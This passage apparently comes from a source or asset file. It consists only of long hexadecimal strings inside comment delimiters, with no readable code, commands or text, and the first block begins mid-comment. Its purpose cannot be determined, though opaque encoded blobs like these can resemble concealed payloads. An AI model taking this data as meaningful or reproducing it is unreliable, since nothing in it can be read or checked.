eda29060d96846c0f7aeb4041a5306d8ad47480c17d7ae76af5d12bbcceef4916bdb20bca2bcc9ab0d0bd393a00b76dc1aa0f921ceb887f6a7ae33350df8673510ba630508792c1a672667e56c8ccba5978f005959a665f425e218d107f04687216cddb2d4aa62219ea25af9963c23a1db3629f819cc8d57f3d97b6ccbf2ecba1e4263eba5b79d1eb1549d8d648fee6e1abb36222c5b9e92de0dc71e82dbc7bfe433dad442204c1b72d25271dc055543ac1e34940c98118e581625c62ce1948f4a55e3d81718f7225f7edc22ce456bb388fccf5e0ecde73b84418b458798fe2d768e6300116e873e024ecfd913c8b73dc3a994083aec25aaf5ee411a3ccfc8da3bb54c83c85c595f41ad7f95f1808265c83d374bef873f662e436715842b2e904a5c996b6542515640d7164ce45d35230ea7b31aa29f8ca87a6c404f3a728632d4819b791cbda92199391560e45de1b3a7f93cb29c045478359abe472c3329f2cf521411d7982bc352f839cf3568e3003d428ebe14683f70977728e9fe93db5a70ce722a02517c72b1d0ba8de0b6a017f253cab6d77064b4394ac20a76eab4313644474b53feba0004fa3bdde0fc2099ed1c774ace302c25066975b63fa81ae54473d1771d7c9fc0e8d8f019c5a77846a4177de4f97ff4715b91feaa57a367b76a6ed12bf87514503179413327816798508fee7e62b5be69c57f6776732b9b52d5b41f2212ba5657b4861626e82382a6a42a3a2a911b5a4500b12d6e5e9ab71aacfc29618ce746aeebfb5222f4906e9838b21522cce6c25f41058ae3e1efb6187e4a3fc5027bf41c9a8de930bdfae0c8c9d5a5330aec6e1d30f59aa23d43582106bf108ece54fe88ba4bcf3e68fdcdaffb19710dd05382cd06341e194376e44901821545f489b928f79e82d726e245193c66dd852265fa1ec906d58a9c6a7f758c2d338bd2541bbf785cde566a5f0f108d5c0463b32d88921a5a9b3c1bc4a2ac067d05836794a74f583789d575be0527ad7a408a8122769826b3ecad28aa4b7f1869dcac18c6744c5cfcd52b7623b2f355617b3e5c02ec4542a1ede456e3ade33a7dbd28cc41c4f111bcae9553a9793c647704a86105251597c6f5d7ebc98bcac69a67a8d8885c6c656a53514b0bd210daef2a8dd7967d0604d51f961937ed95ee1cf8106bdd6b2d67720736c9cb1aba3bb3959d94c46c385925d37b9147968cb53d0e792be29223ed40fa7dc725d5f6ca8ac616ebf220333a599702f61c083667b35a8ee88d96d3220d361ce71cae4f525a9adb43710c6d38e7b50ab06e1c570906fd87cd7ee4244a0279f6e4c98a1484c2193c81dd62ab42872ea81d06caa803363d8747a11a113247c4418269692c4fd0fcde20f1c77000e755ced2d149b14fe459878f87b1f44c2a2d88051796d1ada9309f5093611186235142246fae79e3f1d4760e782502174435ea3b5892b9b020ae8ec9b31f992ee03244a37866bfb316c34b578ce1c6a0ab26844acb6ff6806d44fae425a94323d7ce7bdcfb324eadcdcee38ef77f352627695112bfd70a2dd44d71814819d00d358cd1b3c59f1b607a4daa8565e9dd61eadbc7606c2f8e326bd3a66a94f99680cf1dd64fd7697ba922af135c4630e246332eb8aebfde0fa6652e51aa17204f33587844317a9d34e8c0eeabe4fe1211e630aa8b3a598bdfa60de71e95175499c4eb082b974512a016e7aa4672ea1bcbd182f88758a440ee6e97fccd0f7f16cc94fa7fc1b4f9afce4b420b40a726de8d4536c2aa996390e189c6b6245147312e7a58a2f908a15268c6436fc8f56b86a22d0a0150b18338588652a85df3bea6e1eab29e0e2552198f68275fc8e07de5737232708e97d58438bd68e9ff423c4062882c6012bdd624707a43f0c0ee1fd10e9a6f6fd8736c7212066cffd1904eff2a96f0a983121269b819486708d9b6cf275bb16418589db541e468a0f08a9bca00c910e953a407f822d2b64043192c8d64e05866fd49516145020dae6a6c4748217d7da581c54d742e45417605d1a438e0b58c0b9093d0ec*/
/*4d82c125c5d06582da324ec93a25b548d4ba4f19b3002f91bbf6ea58147dc349c549839bf089041bd38b9bb6a25171c45768ea6321e510a596f9f19ac59dc1fdd9c47a9786c7716912bedba116525e71bc74d739f340916f73f76ceb9223747ceb9bc3ba26364c36c0a35599e1a4df4a63f6d18281db117d2cece0a98cd1b462f6e9ea6a3c1988730158716b72f37fa2e54ade4a978880266ce9bb6744df7ef9c09e4c5f2c55f37988e69d501c41ab843dff5484cea1508d54e18304b4dba3ecdb6581a3abd3df56fca633b1d2669a788fbc1088fbaa751053d3729e04540514f8e5c374f11b1687e38521d58fed966172b55f1217421b19419a29933dd6724ad40a336fda41cf66928e11f64469b07ea041b86f31730cb3cfe10bfa4a983cf43cafe5eea84a3db5556271c8b6f95eef78ac5aada033f8000b80b51f289835c5ace67ae6781aaea25474b322b4eeedfe331ad3dc84696dcd94be8933e02b7e07846dd1ef2ff8c31eaf70fe91aef50c2e3ebe0568f13b445a21cb39d1e49f3fbf7239dc6ccc7fe6e9b0649dde779c9821642c0cc0ef1833cb866878472836eabe3c5f28881b0727afc3bec32595d25073a3a508c002f700cde2164a2a9ecc47e0b32ee26af9d518ecea0c9ba5084f7d5e0e055e282e906bd24cf3c8e4d66d48e3029eda1ee57a48566c5762cf8fff62d2cb018438d0502be76d6e1f55459115e64b11ca38bbd6cee650b06d8cc359ce6e4a1eae348ec261d841cbfc2686fa864da6c6ad80b87ca020f28ab742d2295322e6b27e99a38290f756d631293d3b5910f35c344249b86ba779c267ecd030fe78c82af4b747997b618fffdd57b9fea537303ce7234ba5ce73095ebbc512c831919ffcaec4b2872ace88792beb6bf70e91114ba8ebcd22bf1ca0233cbc113b003289bc0333e8c254092f7a71da5c4bcf68963a28c75a43e52e6fe58fa1fdba0461c2de7e7242231bba7fda9f35966ca215d3ce04dc2ef34092de26f16f14228d94e3cc8257ef7cd59c81f72a6bc4782aa526298a17d073653c368c903caaa26fae265f594c43b95000a7368bb94f41b2cd858dca292ddd27bb549eb826724b5d678303aa15b9ec1bf829c009602a6f02111ecba29028bc58347090b0c12067dab1268d0604fc692d4d1cff4488efa8c49bcaa4774dd039f3b3ba849f3a159fd95e808907ec4e048cc0991f1178557bcb6f3a5438aa743dab24e3470a3f60e1c1cea8e5f183a673789b90808d652555c192d57624b0d4c6c1e9b674b057a4f0215255260e01ebb19534c9d1a8726c7fa214248f256595796b0bade794cf5a9f71ebd427bb69c633894e8b62b9e6db8b327e81cca13b9afaf3631e02bf260d487e9119975fe630a10e0fe4c328acbaceeaadc98569921a1ae00fc3613894c4d4cb4f104fcf13ac1cd407a73210809b2598ee821b6a438341487d6883efa49f50f41fdbd3741bb7d771f33a8c995d195aba1a4390eab5a9f42925ce44064d16d5322088edd3bbc2fb970ea37e90591ec8b9e98511e81ac45f964ef1f3b7d09c4e3fa2ab55d052f564e1300b40c37bdc8e4ae7e3e6a6878e52a0d78a27e6628119b773db7af46f7e22a26ffda82539d9db69ee1339ce9e59f0af2e8011cc0fb707f9d2696042094ef7a7149db1a97a56d49b6497914fdecfb745fa7ea4f44df3e118d21c8a4b8e255f43074fa210e6302504f712bdc0111c5081355fe6e2a2170eb3ba8dd11d83c4828ba3eeef394e016fe14c2b7244671f04e9cdf4b4cc91375f52cd65062b82e4d7e5bfd6fe6e64c028e267f3dd0cae39fbf3a7ea7d1ab6ee07c25a0e5fdb11a5bd6edad06941283c85c7f7af7a10e640ee4bb547870bf032dd732b86c9f22ee6f9d43771ebc8b74b409963cb7e551e8f31883a73987f1ee07fb5b5a6a3b1473227d69ab6871c5037466373cab5f04b7dbc2f0664c04b3118b99f27ed9f84fbd29c668dfd751bb66effe085fe408956d4da140ac2f2c67cbedc17fd44c9987edb6287191669b232027de20f1c8f8ac22c62f2f670e48bfbf432249bded59d2c4cb6a85fa327643f63d72aff66273ae9154a67d0e73e42cf07505011fdd5564030de7f00ee4f21f00da8ce01e1539ae8f1afc151840e535ef348804e8631190a42077365ff81fcfe477c84a336e1bbbdf8fa6431aa824afe02c3173f014a840412d84a3e568b045073195688402b78d921f7add7ad41f55ffccf3a44c0bf792e74d6b72f494f47bead477044baa0cc88eafcab9144603e0175af3b242159c1927a45fe72fd2956adbc9a335a8502060e70a3f802221a07e25af1b57b8dab3fbfd546f13f7185932edd6c8549ef08d7ec909ff175362d7187cf055d69eaea83fb7947c9d5db3131732449542063883755cfb2d488236f3291d55737c4927b6f9cf3a770ac26b6d4dd22a663374a8f945e534d42418065a87f225ce996ae70bd63094cdae19df2b915fe5f286a8b99e58929ddf1fb36febf53b838c70f8b87cbc69e9f88c820324464ff0982e2e467d75c4849c352ae7f47888f2985e0137e6562f807d7b058b8f9e49dcd5c9733409eb69cd4ad2838bdb4adeb4c0095a9c59bd79b079e2171f7053f13080cd3c63c139bd162fe594852d4ffa1a13218d8a2ad4c15215617b44eddcefff7357e7e1a1905d63f4249d17ceffab19d6d0a6211bd00dbf2f574171deabab77f8d4df6bfb26aab11572ffa76e3428d52fc73e067fb53220c4e27f9d8ce2087b7379c4ea227be496dcf81681441ad15b009c132f24237fc2a6aeebe69934622a473cd129e38988f72a456da70856a913ba1c6*/
/*5b9469677d73695b491ec1cdf01a160ba7a6e994fdb13d1cb045a6dc46b54243257687213adfb42750fb49b4fd39d9537e4e77471918ee606e1bb743475528c21253d7f5c04cbaf1fe71f946ed606d59271aeb3bda2cd72d73ec61fc37d81416ee4dc8de9ee7b5bab7ec9c39830ca0500d018e1006ac9042c74947a5caa39fa655a84512185bc905dc2f37ef0accb3f633f365a8c13d8f4e21e643909e89c1d3d2c39ef19ef824d378d05fe3dac1fe920f2e0436f3574c3375cfb4f9181d50943e24102f17b4625bcefa88aca6584ba9096116abd901f19c7c69a0e7efbed30a1ffd5a93ff8de55f8ff65d137010981ec9f47db63a2467cf44a6b258d2db27c2b1ef8ecd7c841cf29c66daf099c303abf57ce25f346f7dc65b90ac419addd4f81c5eefcd9e486166eebea52c089e3d16c192452773ecdd254f03c07f36937edbddb3cc276ee90441212a8fbbf7d98e9484d5a390785d3dc064b047f6607d719de46b5434fe1c43e64b5a74cfacb0338a9f6c43d61fccfca2724a977b1125256c7c22e1ace21e98d0dc5d92b56ad7b92abfdd125bbbf8f8bf9cb17a2853b36f9a8a565ddf37eee6fe988028910ed0979ea61ff89b80a909a478fe59d7ffba27bc82bd93bdb4b5713eafa36cf73f1b04e5f645250ed45e9fae2aa9590547720132effed6e472aebd9ff7b47f4e610dc6ce16131903732cca7a209cb0f01df65248d4ad7fdee3ffa7a20907c6940e245795a62dfcc396da6f84172e53c0fe97966958f3df30aa008183e34f9723221981cccffa603a4d32fa0502fc3678908626ecfcbc7cc70ae6ea3253243344568aae80d8317572c0f4b3d1061527e0983badc78cbeb85e20a47ee80be3e37dde55ce7c63dc0506d26694a22743407f8b8ff62bd3591da56f8943c2e754d9aecc7e42cfebaa19ae21629ec46cad9addf7bf8d9dbd2397a59533f3c289c0774f7cca66cf8705afa45b468ae2bef52ec31ca60f1cc183d106650853f0552900ae7988d5c121203615dd063f1759c026f58a4e5f97a1f35718ec70f79de8674488f643c802e8e1bb8511f532fc9f4528b89c16c72201a5e4e041bde5d9ecfc95116d8a1ad5697712da6c0dd257ec1d9042ee76828572a3914d823c2f9156bfa0f79684efe34825e55f434b2a236aeb6c6f57ac0c301268eb09b61d60f232a455e1b89d73c5d0683956c48aaebfabebf78df5c54d70dd715238a2066471eb0f4fc50babab3831931aed2f9e9f802040af33f1f93565154c525d5013970351de4247a1a1f8531a62c837c612e509c2bf1b1fac7ebcd28259439048a010d7057e725bd2ce14a4be0c20ae4057cd74218e986a92a627a52ff5f1baac62f58c36334079a0742327c92e1ee7ad56d522d3de8349cae402c2bd4173057d9daf53a3ecd16ee58176c07c3b31ad3b61f3f6b1a6c093ef210155dfe0fa5d62061fd04e0c0caa08630dd6f429a57500296a27605bbe778ce9b4a6dab99c3ec70c46bbef50b003d61ff1944555b98226f0957c0b9761d840f37dd92a1807abce42156e7b35eabd7678aca687e269333aea38c3c8b54be6f3c7901eb58f10d41bed1d1ac8b28a7ce5e43facda546e8aff4bb5059877aab0f2d567c98d2224fef7c796a0dc59e3ddc848d9d374c883f44d1538c500741d4797509ebcf5bee683013de7930d69b6a4a294ae8d6eb0b5ae4be41810afb39903283574fd6b94d7d71c84072f741a7fcb6ae2d12590f5054626940c4da9acbe71ab51816bf12ab8a8637004a21d57023ded8d5ea08dc9811a8e6239ede2a661f9f9303c3b1f22b085f0bfb816fa6e190953a856f815c6ddf58ea38f4285826971e6380ef30a544bba90d3dc9fe536b9317234507dd62dbc84c44ac7f374a439ac14f52ef385bffdf9895d4956b281c105693afb6d7b937dc4bd2fb9fc64cae978f959715b98308ca709f6cc51b1079edf1b70413d62ee6a926feabd80c2f6efa6ee6c41ab2690f08081552bc5384076f5b2fe40ef311f899de0a8d8d142761ec388e7908b7742e6a9d2da66af2d33815f674ec0e425b14e943ace7e6f9a49fd567c4870de596ea83853f1e330bff4896453c130e4e52b49ce8c9ecc8f6670e31f6f7a483e716ed9f1e48a6f83c6f2e3fa1b9fa25c46d442647e0ddef69b61e2f9b5b27a1ecce676984dd6b5ab24ab51975137af10626c8e6d41742d2fd8d2bdd48beae8cba9c448a2b39d1478e0a0e1721325c76810bbd1164610cfc255e06d50fbd0afd95e750ac964327deab5766a6854be70091dd93abf2cdb9858005627c606ae7f9204d95536d9f0cf50d538258ef18a1c71f5440f2197a890a92fc3abc5fbae367bfa1b0229601c86cf604cb4767656cb61889bdfbc120e3b3099535c06b3dd73f3ea256dbd81b93e1d9066eb78e4b26a3bc59dcb015d8741826323ba2fcde0823bd87dbb91df431643717bc3b5192f28d473110b1199975cd5e2bdc819bf2b8619dc1e479e4e96488f6c90e41706debb895d99a7c88b8ac04785bb924d11987b4039ffa6ca5a53a5218962b6c3b79febf6f4f4ca3087b8e77950f49cb757b0419e98b65d5817cbaf879b7ea02d3c298d2aba494303e351e4f67637c6c6168000c0e589a5323d674f21cfcfa9394cdd0d2678d4140fa87ef7858ac6232d0e709b2c8be2b4b6f2683fcf3e59574b4551d7c15b555d2f7ab6e7f0b64cb9baf5aca4e8609c7d84c70bf84570b6291d0c4f977ca910a69d2ecbeb932bf4892fe3340475c91b27cf915fa95f3a9f88d226f857d06b77a028eeec882309fd5d413612948f87422cbe57e11fcc73c9ed7e53147efb*/
/*1cff887f85108562dd954292d454bfedd4667ad977ef8ff22c2a7910216c75dd08fbd14b190d0c92ae84f915308f4349a1b0e30cdafb4a9de18422522d18c10e22c9f6cb8ede4aa0f02ba3485dda10cde233b3e4b45e6beff1a94c1f0d1228f48d6b48fcef5900284338531ac152ef2e9f91a34c724383b2a37c69c3c749fb9582bd1328d5118805bc407eb05cc8caf6db6d125554a842e07299994c08d2cb827bb781436a9584a41ffb3d56deab18e22a0206b5f23d77396d6c5b9db70bafbe6ade2698985aa9b6b77a5ecbe482a6431c6dd627f7bb93744316b46f160c15ca5603ebd3fe5f10703f7ba60229d99b8618a84dece6f0a17f4f781cbec9980e5ec91e0c14324e7c6d6f6eecb560d5edd6b077de511e3313903a821fc6a27f0ac9608c33379f45022b1fc717847a25c1c86a1db904d26c747043065d885cba585e8ee54ea8eef53258a97d7215b0f9c7ea7b7a2d7877af92d45c2081e57af00f8c0a9e209c25f4876fe4d1476909dd750efd5f2124cb7e0be196a68e11865cc45dd006c1146b000bbd64b5b917c38d31fcd204a2a7d1a7f9faaf7cc4d55aa412002e2d1fc7325a757893b41a411848d1a98cfc690ef7d8e4c7115de408c51134cd3c549d5acf4cae8d637412246baf9c73efb6ca1392ea1892913640fc3a15b68078cfa2a776964f66d17a20b3aea25546a55d5ee11118416fcb1e04cd4ee90b26a5a3a4833830ad30f4d114178281dc994baad0eb94c605c55b933d09f3fdeb03f15df0378365f66f309e40b59e4908e7e4c7cf0dd776ec36167b49e5e441cfc7f9bd957840f139c5097858bb7316a75a0d0582b12620f4f82d11abbe5bc91bbf15c9d907e07235d3c252c1d79cae8590a914ce821659832e774634493b2addf030cf8793a201580371155f9745914629a49cb599c0dbeaeada165716f30b40e1509fbc3069975946fd9ac93dfcdd6045cc3fbe8c8deb3cebaf6e1a18c7491ec4730c40817584097467157c500a176f6cfe12552c54c8840958f79285ecf22c920e09ac50a5b0d7aec3d71086cd1b288a4966a3b7e67bb2396ca261aa5629fef2b6e05be0e5d086321facd04882c727638cd2cf9b1efccda9118a332496704207ecb800f588b43f55c1a0684718fd2aac76bd97f1459a76533af099617f0daf392f0be38a3031c8d1e355b800c4bbe2bf604a51a88e6ff954467cf471e08b485b383c8bd518b9674a66e13df117370cfe7f114f6304fb8efb228da0d87b26806bf7fb709531ad1d9e1f2bdeca631ff9f44f3a8f796e54fba7381aced6354a5e40aaec3be9182edae6e73a573d83e07b5ea606ae8ac1b4de12f9ecbd9a869315332820a3ac9cc1f554544ca0f43d4c94bc2a63684bc9eb1eed0acce80026ac65a178cd529fd810be97b7321a618b767c6f11697494d5c8323af5b6b6f8b8a66af96e928e9325794d7c41ea7a13ca9fc7c9552d7b55e3ce97854280fcec77cb1e00042524ce280363669e25cd6f3259ead12aca16a38140df638ff01c4b7b8073677e6343304029dce6dbad63b3cd8a03ca8ab78cec2788bfd682f4f57b81cab56346ab55001ea7c9f0a1002ae006475f4aad1e944d46ae01790283bfdd00029d618b853d0cf992df54d62b1b067eca5d05bfebb2f1dc213827ab5686a3777921facd70e358db5355b1ec98f6bfa845e4dcaa0ba0eb604e8c277b1b568202cf00170ab2b06722a275fa01b829d11cb19b3b1a342853af088ddbb75dd6404bbc4cf81ebc24171289742dd44e5660bbfeb72e5bae9f7c1e89f24a1f5a9d538f8fd7099afbc9b1f49c1fc9093859bb3a39581c088cb9b995e849587a1bcf5a0dde30bc8dcfe3ad5edf7da60a0e832e95635b32a08faa671c21f097ff363260b59ddac44de12aa60c0a3bda1f5422e2d3ebe2ccb467794feccbd376fa782a6bfac57a98ca47610a4e5d9b9614888444b549a8fefbf6502250fb0353ecda5d523d5ff9aec9db22afe7ca82e7ac4d76fa060923decf4bdff27592aca36f21ed6f1c8411286c5524527f8bbb5ee5b24b0f2d99fc52caa30d63a99d94a572d1c54cc6ef807d3d74e7a33a4573c5c8fb91f180930ba79f23530a5341813aeb7f82c31c5bb810375709c2f5cc720960aef0827878111bb891f513bee989bbe91784bb651715d14b63a5b0b1532aa946f53a35f71a8f8495c2a6546a4aa31a69f0e52196779fccc219499270f6e6b48e4acb8ecdbb224c855917c10e67eed5f06c8fca4da878c78b3838f9efbfe261c205a022a02dc0ca37dcb4ad51073b0400837cf2c82e11b529aae6cd844ebcfcb42d93f0bfc53ce91bde4430eb4934cafcdc82c85903f6a7c6cd71fb618c754cdcb4321130b96c9204c86267bf9a0183e26eb3bae21372bc638aac4377c35a6c2515cc09f27218bc73c6d8207fa53f3f6602115e171870a9801904ff112ab8c5000ae1113954a1c580692e131d1254239f6d4e28fba1bf9f644deba42af5e3d2d0107d7092930c01941f60014fe629a3071db7f7ece3eb373e57b30cde76d03b1535068a16965985049691762c64d3496c3e55c9889d2bfe1e3c16ee34bfd4683dfa2821345b88ea48c20f405330f3b9ea9cfc1f1c4178a6a056f3155e32ed303fd93253ee8cf8073a0b2e2abbd4d2a3b79818d8a12d9fe30ca4a80a2c23c3a32828c24989f228a1260ca31cf893bcf98051e1ecd9669e1a181196aeec8bb9a35e3a735aa79d33387d34d03aad6b852c0b61c630569adbb5cfff4308e10ca801cc8ae434cb4928fa1fb4f0d3641b80f3f6ee992e008512215b7ed055f044b052f29b8f1bf2cb1a89*/
/*8f69203c1073b14d5df99c6829459ad32d2196cb651b26f88614f82fbf3239ee360e65cbe084cb2a441ab8e92270f0b064eb211bb2331d31511b24e96a2d3fc9977cfb62953bd210b98c537414f3e56113d4409bbefc03f7dff7d9de2426575b4b46e3c918c4614b39bf7a9e8717ee4539de4cab24078070c865e10ce4393e11948265c87cdb93e7a80cbd3bebff5358a45daca6e5c26ead7c2ab2a7b1547587fdefd2741ace2b59f9a40b099732e8f3e414cdd1d7810175358b3401b192a1ef4365a39bdd02462a820740f3b3ae484a909306ef5b65b283b22f8a15533972cc86df5710035f6c22f609404e43e69b0d59a948c8ddd8d4bf8736b94df9c1583c43d7b7bad8140035bbf27be09e665c661145a573fdf35e57aa64b8d8a8d12b1e95144a64f56f9fa3cf53699cf3d0f2592eecd6eab550cf6434e48cbdd108e961ca4ca603fb6bf6cab7c1b8b32fee4c6a352bee25ba2dadbe4891a6279c95cf37c3b2afcaea348327423b551c13dd9148c4eb62c91519b961222bfbb609b00c01f5c5bb946a31945b23959051eb1d228c36b84eb56a8a738668eb9d61c7a36485b2c5ba979b598f810d857e15430a4fd9b518cc7b4bc1955eda96101d6d25680bf2c297814472cdb56d30adec137cab6d03ef09e70653acfbc8708a50b5695ebc91f853460f80ec75a2f62cad61ec15b027fa9b3421356db1e1a3f6d2498e6abf0cb511ec78d7d1e47228daacd2ae0788daf40744522034f814c0a19a1b17b5f8e17e3f2e976693481a1cafac8bfb461b41cb21c8ea90fc030390db87af3fa8a5938893a1997c02ee5a6b3128b52eb844cefbd25a76c5747f76fbfbc5754f718d56475498f66f0de759211826cb0793c094a14c7504bb9a5e46b2a97e464a725269398851beb685fc298cf4b32197bf4095567e148dc1bec6835c683a4b2346bf1353f4c68d86661300b389465c98929fbafd6b74b54143ecf3f3bdbf59a62f993731cb92afcdea47f3299d0c3524b320f66bb774ca3372d5d60e7846fbb20b6cc6195bb5be0240b4d059c4f63a694d1cfb65bab9a98fbf5adc74dbbe893d3469cfacea097fa40c7870c184aaa47c71b8fcd9e53187167f9cfb62706e280c76b19decbee60569e2843c56a70c5e9625411e3e322b8f9a8c58ffa4d75a9bf030d6803f5e4d422d93a63dd29071f578c829dc20aa292da8b457d2c3b04e01ca32954a717578e86885922b2070069000e0dea5659b4b26d8f51d950db6e5a2a6c877b04d4f9b28b3dfa168e3231c28702f1b64cebbcc9931952964df4790269507994ab710fc14ca7c33364da83b41edbf0469017198dd90b2d52835e68f84047bc535b1ee50614529c497b7989de02d4d7f77e3e3eca0ab657520b808d95cbd40529ba55b782ecdfeffe2d4f713253a8bcf8cc3a60d8e67c2185fd8cd771b3b91d2e8ec58280fcc6b9a8e4aa9b43fe059ca654c464b15860cd137360fc2c82a272dda98c1dd37e3a8e69b56f8e04a07b530fb7936d94aa7abb543a60998a801ee914f19c9fb651c47776be114ee4069b8cb9433d040bbec3897c41e55e52595af55ada08fd5b1d6a17883edfa527d7ee4ea345b0b91168c9b24176cf488e48f61bbf681b15fdecc2feb4c78adefda1ce7b452e186cfa8cf34bbd6c4ff196190c512efc0fde285d1c2fd8afc0af5654c6799f95a3b0432c658a57c1870dab3f1b7e19d9b7a0a87f96f2bbc8b3b84e76044cd72ff09c00b5c11963d9def3afccc5b842515a797b1898211599aee7365c50439098e2111608e2113f7e7add58348eaa4bdd76e19fc4619ec6e6c5e02bbba09dcede17fd5e1242507f1cfab510e66728e7c5a3e62614a11c854d4785c8d076d51f700c28eca952c63b3c75c836ebcdcae712058628a829c431a3951d51260a2840ac82d2748df5f25c1d04531e6cb13e0cdc942a8187bb4dfaea785211bf1be406b522abee5676a13c0c12c4800e95da6e8cebd7d22a50b88ba2b4236b99695cebd8176da380c64d0400dd1b27ee5cb4b869cc553a5b6424e03271006402a078220f75c3a8ba151d07ddc290332f4d9d392adf2d59ba08faa8b300a76ed7b797d37ead790869675e92c4db4c4b7df8c2474048c822edc1c2d71ba7de165a7d736ee5bcc7dcc367507f2577a9086ed5eac2a95d2ad658588d2ea51f15009dfb805a7cb7bda4477373f493850d245ab45309f6890e295a8050b55ea6d3fca59c66f1bcda2ff9c2db4938e20074cd031307140f0e4813b041065c5f5b40e9ad81f99cb655c5bf68f3f634eebb57c7ea0395099c1ee9f22c047e69e06cc6912072ab44f672953c26e8324d6ba6341206869f64207a9d64ef7f328c4c6b2de18f304e5f0d97bcb7072f0df07699febe6623a108eedd8b36ed8acda845439256ae5c347a83a4236e0502a9acade5c629c1dd5eab6c537a8bc5abd81e0b5efebeda44ca82eca0b4546e731b688b7b1b8c55a376526b67037b61d944d36e84227e9412ccee63769097d1f7079172b2c7a553a58d5beb9dfa64e96bdb49800208f0e4c31cbf46a10573e859a99a5ee82f5af990a1759e5f05840353fde69145f7dbb1ca6ee96642f23c8e89c0c4286e90b9c5dce0c9c4f0bbc36ca2de2c816fb67aaf517527b9a35ecdfad394ced803c5802815b33db6d574b4bfdce151ca4c691a27af775dcc08c183af9ad662fc1c6c4bb3070f521c99edb6280c7c9df102a780792b08c3e53b48de99e5d22026a455e604f4302a3355732afcd1e32b714c8b72610ea8f744b0922cddf93cd0eaa3b8987b1e146286ffd16e797674f0e77d024c7d58749*/
/*c77dd12e572fdea001708bb5d997f994e1339b390b3167e93cc1964403f6d58d1930b0610776d050fc8a63dc9905ef632bf1e6ca5d7f1f8fa059482a6d49d39f1948965656ad9c353e716c6147c761250a1c1bb5b318364e4c0511af5066134f2c6661b4d94e64857a8d0d37da0dcd373af795ea486d3fc50d7197e3f07e9fea5bc68fc4ab755d8d3bb2498359dc45c6f1f83a6165c5a40e7113254a4fd6faffe1460c0a3a9617383ef87e902c2ac0213b5b45fdf7cd9615439a81853e3af3fe76a35b43aa6e89e556c4ae43a20ff0c001eb8a07cee34462f0f6689e2966671e293ae6db87cc17fc2f4a305d7ace3973b8f58dc496dc1c58254617dc9d8b06ceb4073b04d9e1215ef4ff783f0f502320efc7c0b4b8e9351240ae6dc7ca6b4a1fdf0caeee6f2febb1e0984907d9fa940c7709995c48a689f0f958acbdb501cee2633d93c2168cca5dfdb92ad015cd873461c4d29f52635bb5d2e3a67405da84aaf57cd6a0b7b93ba67a7223a66274d30ec311bec97851ba41196b8636c55baea0a5a61c010d163713bc8f96150380f65ef72321f2b082821bbe2a65391cd065acd31a8369c9bd6a4d097f50f2a8b750737b170a58cf10a1ce706a4b2eaf85be8567da46ff33d512b3859b3c39e6c9593d407f11d492d6c3580614ef8b95f98bc694c0aea4b3f9e700c1e169387209ca7fdac81fa977016a422b1d7e5451158a35b17f723a5917f5c28df97af13607f9ba1185c9606d1f47c3975d538d0b17f8fa80414ef20da48a8cc61c338a7a19299a29b4eccca471d3375eb4b983aef631aa59cfcf5bf6a1e0da1d19590b7a299610b4d36fea93b81f2b2fc727ccf3330f300f32bf7fe44bcce298a5526cb06c01fcbc38a010fdf1db3681cd198e40998deba36c33b3cc2d8d17cb60db4e93cca339e9344659590a054519d805b197cb2993c0ca86d6b84c941f07205341102590b949a2cdefb6e633b7399dfd91fe11e32ddf2754f01d8b2b33dd09f888d387c36b664000fd02b4b9170b22d35d5b2fa258f4f549922199a0d3a5a5fcea70766cc3e943d78c0c551914161a35be9f61657e57ec2fbe3ec39892c364a7f0b76260b782080bf21be21ae55626a2ea6b583099abc52e55aef91b864c135bad3ce81247cf8bb6470555ff1a22fd6da1c17943634fdc5018fd8ea7433175f558ac6ed1188a8cb8925fd20a4987bb797d3046b295c2e0bfc8b3c468b399eac2832b62b6bd174d54fc79d67e76b2be88733bec8cc3d736b9b8e03426d09bb8de096a86ab6db9698d9ca8a9b82600b0a33d30c6a840a48cf51519c1ca744ba04bbdfc297ece8cda8f36ad1efd7ceb523f662a33f62770327b6fd8284bd5af6c81cef0b8a5134c94d010e3379b6afed68fb0458ab63e410e8d6262a98d948105cfb82552a9c7bcd8aa624feca9326cdaf36a69eaf1ede73b6677c0997cdb784e4f86105f7cae8927453a29a872a53fa5d198c588fb23a15a2a35a5caa43d716a393c793e174c5f67ab489765976a4fbd277e3a7c3a68c284c6c777869b2b9ea72b5b997b9856d193d7bcf869e4633a6bd6103c04882544623560a0efd87c906003dcdfa244a8633a8ac1d18dfa3934da45708d8672cc3574f2ef41b6c82c11f30d8c98fef17a26f6a30c9f23e3b41ed5531d3be3febcc1114c428c01d20d6bbf92d94842ee89678f60f30d38916d7ec32d34b52875588c1cbf649fbcb47762106072a8d27eeb22b0cd5197f62850e3fa0cdcf07fc9836e74b37130cea2b27570da2357a7c420af563677cce28ab530717b4fc4fc57de30bc98887f650f6cf3efb9345e64b8c46c97c84bbfbd145c94c53167787a44f60f40cf380a96ebf619beafc2809697cb7d6561decde2bada8befc522843f7c9b2b47cefd8550cde418e641f9ae8266baa8367ffe5fc03f9113cd76123dcd31ab742b3edaf2e6906370fad6a32463ecb7225043540427cff27a1781dd969b10206989882ff9fc5956482996acc62f37dffe23e72dfbccb8ac86937f5728362141b0fc00651580886ec2fc15f59a2baebf4e628823b0b9f0ab80ec7cb283a03f452d81b4948db76482ee0d0942635ff36ba3dd29f2fa3b346a6a0adcea90ed03fa18d3c9417b5f3e4b6ec1940171415be2c4d5cdfc4695a0b8f18da13bb7d2b71f7dc6ca440080702aa72cad60bcf8c477e50ed0655035ad373c73eb8fed85b99b39115b86054e02407d180a2c98f52d09866b2dce8331385d8ebd15cdf034c2a79b552868999159997697a1b0525088f00f2158884a1bc970662898d8e0e86e5118f73e73dee43c133646a025978e46e9741bd5a6c0ee3e17a914bc1405d1d60a8f61aa51e4deb2d8646f00c55e1a393836ca11350b1a2534f7c9881fc5354d68cd76069fdb1daaa9d05050ea9d845fd0cc51e74f31c12e1223d23a01c9346bd01938c4defd42cb1a4060cf7950cd1c53a56cefbb7f2d28ad00037adcc04320108c6da0177d788658f27e5f28eca08e0c58d4fff7710bd5cf353b2843e1bd0d50a296821930917b3f55e2aac9bcca906c5aaf561940cebf7ce2d5492f162012f25b3a21e8ad402a01b6b6b11d197e72ec91a4845166c4e01d6dbba4d6801c0495c9c24d75995d1628068dabc041e4f291194303937efc1074a23b399978a99e9b0c2862975cb1f0920764930b46d7eeec58608eba6ec0dbf549412af3016abd266feac1dc2d94a5dc43101188495ac6cbe3d5fd29b5086bd23461ca3478bd02005a283bb5e45bc00eb72516c345cbee02fbeacf49179aa9cad74275d67bcbb283cf40dbd159769673f91ce43142507911*/
